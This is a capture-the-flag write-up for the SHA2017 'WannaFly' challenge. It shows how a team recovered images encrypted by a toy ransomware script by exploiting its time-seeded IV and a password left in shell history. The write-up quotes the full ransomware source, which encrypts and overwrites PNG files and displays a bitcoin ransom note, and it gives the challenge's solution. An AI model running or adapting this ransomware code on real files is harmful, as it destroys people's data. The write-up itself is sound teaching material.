SHA2017CTF - WannaFly | JBZ CTF Team

My daughter Kimberly her computer got hacked. Now she lost all her favorite images. Can you please help me recover those images? download

First of all we mounted the image with

mount kimberly.img /mnt/tmp

we got a bunch of “locked” images in Pictures

there is a file in $HOME called ... that is the python script used to crypt the images

#!/usr/bin/env python

import random, string, sys, os
from time import time
from Crypto.Cipher import AES
import base64
from PIL import Image
from PIL import ImageFont
from PIL import ImageDraw
from PIL import ImageFilter
import textwrap
from io import BytesIO

IMG="""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"""

MSG="""This Image is encrypted by WannaFly Ransom-ware. If you want your original image back, feel free to contact us on sha2017ctf@gmail.com and make a bitcoin payment of 0.1 bitcoin to address 1QCc1EYncxTeSfTKpaCZ2hvMDwXULKRVWe"""

def get_iv():
    iv = ""
    random.seed(int(time()))
    for i in range(0,16):
        iv += random.choice(string.letters + string.digits)
    return iv

def encrypt(m, p):
    iv=get_iv()
    aes = AES.new(p, AES.MODE_CFB, iv)
    return base64.b64encode(aes.encrypt(m))

def decrypt(m, p, i):
    aes = AES.new(p, AES.MODE_CFB, i)
    return aes.decrypt(base64.b64decode(m))

def find_images():
    i = []
    #for r, d, f in os.walk(os.environ['HOME']):
    for r, d, f in os.walk("."):
        for g in f:
            if g.endswith(".png"):
                i.append((os.path.join(r, g)))
    return i

def encrypt_images():
    for i in find_images():
        img = Image.open(i).filter(ImageFilter.GaussianBlur(radius=18))
        draw = ImageDraw.Draw(img)
        font = ImageFont.truetype("/usr/share/fonts/truetype/freefont/FreeSans.ttf", 18)
        text = textwrap.wrap(MSG, width=60)
        W, H = img.size
        bird = Image.open(BytesIO(base64.b64decode(IMG)))
        bw, bh = bird.size
        offset = ((W-bw)/2, (H-bh)/2 - 80)
        img.paste(bird, offset, bird)
        pad = 0
        for line in text:
            w, h = draw.textsize(line, font=font)
            draw.text(((W-w)/2, (H-h)/2 + pad), line, font=font, fill="white")
            pad += 20
        img.save('/tmp/sha.png')
	encrypt_image(i)

def encrypt_image(img):
    data = open(img, 'r').read()
    encrypted_img = encrypt(data, sys.argv[1])
    blurred_img = open('/tmp/sha.png', 'r').read()
    stat = os.stat(img)
    with open(img, 'r+') as of:
        of.write('\0' * stat.st_size)
        of.flush()
    open(img, 'w').write(blurred_img + "\n" + encrypted_img)

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print "Usage: %s <pass>" % sys.argv[0]
    else:
        encrypt_images()

reading the .bash_history we found out that the script was executed passing Hb8jnSKzaNQr5f7p as argument

cat .bash_history
ls -la
pwd
chmod +x ... Hb8jnSKzaNQr5f7p
./...  
ls -Rla

Well then, seems we have everything to solve this challenge they was so kind to give us the decrypt function too!

so we have m that is the image data and p that is the key we found previously in .bash_hisory, we just need to retrive i that is the result of get_iv() that uses random.seed(int(time()))that is the int value of the timestamp in the moment that the function was called, from the script we can also see that the image is blurried just after the call to encrypt so we can use the value of the last file edit to the image to get the seed

and here is the script we used

import random, string, sys, os
from Crypto.Cipher import AES
import base64

def get_iv_from_int(inte):
    iv = ""
    random.seed(inte)
    for i in range(0,16):
        iv += random.choice(string.letters + string.digits)
    return iv

def decrypt(m, p, i):
    aes = AES.new(p, AES.MODE_CFB, i)
    return aes.decrypt(base64.b64decode(m))

def find_images():
    i = []
    #for r, d, f in os.walk(os.environ['HOME']):
    for r, d, f in os.walk("."):
        for g in f:
            if g.endswith(".png"):
                i.append((os.path.join(r, g)))
    return i

if __name__ == '__main__':
    pwd = "Hb8jnSKzaNQr5f7p"
    for i in find_images():
        img = i
        print img
        stat = os.stat(img)
        ts = int(stat.st_mtime)
        
        data = open(img, 'r').read()
        end = data.index("IEND") + 9
        data = data[end:]
        
        iv = get_iv_from_int(ts)

        decrypted_img = decrypt(data, pwd, iv)
        if "IEND" in decrypted_img:
            print "ok"
            open(img+".png", 'w').write(decrypted_img)

the flag was inside one of the images

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